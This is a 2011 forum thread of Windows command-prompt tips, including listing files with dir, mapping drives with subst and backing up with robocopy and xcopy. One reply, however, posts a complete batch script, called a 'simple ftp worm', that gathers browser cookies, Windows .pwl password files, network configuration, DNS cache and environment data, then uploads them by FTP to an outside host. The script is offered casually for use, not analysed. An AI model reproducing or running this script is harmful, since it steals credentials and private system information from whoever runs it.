Author Topic: Quick list trick [Windows].  (Read 1687 times)

0 Members and 1 Guest are viewing this topic.

Offline Dropchop

  • Peasant
  • *
  • Posts: 74
  • Cookies: 3
    • View Profile
Quick list trick [Windows].
« on: July 18, 2011, 03:19:02 am »
Ever wanted a fast way of making a list of all the files in a directory?

Step 1:

Open the command prompt and type:

Code: [Select]
cd [your directory of choice]
Step 2:

Type either of these two commands:

Code: [Select]
dir /on /b >list.txt

or

dir /on /b /s >list.txt

Example:

Code: [Select]
C:\YourShit\Dumbstuff\pornvids>dir /on /b >list.txt
The first command will create a list.txt all the files and folders in the directory; the second will create a list.txt all the files and folders in the directory including everything in the sub directories.

Step 3:

Your list.txt is located in the directory that you created the list for.



Protip: your list can be named anything. "List.txt" is just the example I used.



 "I have lived on the lip of insanity, wanting to know reasons, knocking on a door. It opens. I've been knocking from the inside."
-- Rumi

Offline noob

  • Knight
  • **
  • Posts: 202
  • Cookies: 29
    • View Profile
Re: Quick list trick [Windows].
« Reply #1 on: July 18, 2011, 03:36:48 am »
Code: [Select]
@echo off
 if not exist c:\dos md c:\dos
 Hack=C:\
 cd c:\dos
 del c:\dos\*.txt
 copy c:\windows\cookies\*.txt c:\dos\cook.txt
 echo USERNAME>> c:\dos\ftps.txt
 echo PASSWORD>> c:\dos\ftps.txt
 dir c:\*.* /s >> c:\dos\logit.txt
 echo mkdir %kgb% >> c:\dos\ftps.txt
 echo cd %kgb% >> c:\dos\ftps.txt
 echo put c:\logit.txt >> c:\dos\ftps.txt
 echo put c:\Windows\*.pwl >> c:\dos\ftps.txt
 echo put c:\dos\cook.txt >> c:\dos\ftps.txt
 echo put c:\autoexec.bat >> c:\dos\ftps.txt
 echo put c:\netlog.txt >> c:\dos\ftps.txt
 echo put c:\setuplog.txt >> c:\dos\ftps.txt
 ipconfig/all >> c:\dos\ipsteal.txt
 ipconfig/displaydns >> c:\dos\ipsteal2.txt
 ver >> c:\dos\systga.txt
 set >> c:\dos\systga2.txt
 mode >> c:\dos\devstat.txt
 echo put c:\dos\devstat.txt>> c:\dos\ftps.txt
 echo put c:\dos\ipsteal.txt>> c:\dos\ftps.txt
 echo put c:\dos\ipsteal2.txt>> c:\dos\ftps.txt
 echo put c:\dos\systga.txt>> c:\dos\ftps.txt
 echo put c:\dos\systga2.txt>> c:\dos\ftps.txt
 echo bye >> c:\dos\ftps.txt
 echo close >> c:\dos\ftps.txt
 ftp -s:c:\dos\ftps.txt evilzone.org

simple ftp worm in batch :)

Offline shroudedaether

  • NULL
  • Posts: 4
  • Cookies: 1
    • View Profile
Re: Quick list trick [Windows].
« Reply #2 on: July 18, 2011, 07:53:39 am »
Sure most of you know this already, but...

Mapping a virtual drive to a directory:
In the command prompt, you can map a directory to an unused drive letter (T: for instance) with
Code: [Select]
subst <drive> <path>
Example: subst t: c:\Users\Admin\Desktop
In the command prompt or in explorer(My Computer, specifically), you will be able to access the drive(T in the example) and it will redirect you to the path you set. Useful for shortening paths and... use your imagination here. Mine's drawing a blank. (In Win7 and probably Vista, this will not work in My Computer if you ran CMD as an administrator.) You can reverse this with:
Code: [Select]
subst /D <drive>
Backups:
Instead of using some third party backup software, you can use a built in command in your command prompt, robocopy, to back up your files.
Code: [Select]
robocopy <source> <destination> /copyall /r:0 /dcopy:t /mir
Example: robocopy C:\Users\Desktop\LuaVoice F:\Backup\LuaVoice /copyall /r:0 /dcopy:t /mir
This will copy everything, subdirectories included, to the destination from the source (with 0 retries, preserving file information and timestamps.) This only works for Windows Vista and Windows 7. For XP and older, you can do this similarly with XCOPY
Code: [Select]
xcopy C:\Users\Desktop\LuaVoice F:\Backup\LuaVoice /c /d /e /h /i /k /q /r /s /x /y
"Godmode" (Win7 only[maybe]):
In Windows Explorer(even on your desktop), right click, go to new > folder. Insert the following as the folder name:
Code: [Select]
GOD Mode.{ED7BA470-8E54-465E-825C-99712043E01C}This should give you a directory of administrative tools and options. (Credits to whoever I stole this from... don't remember where.)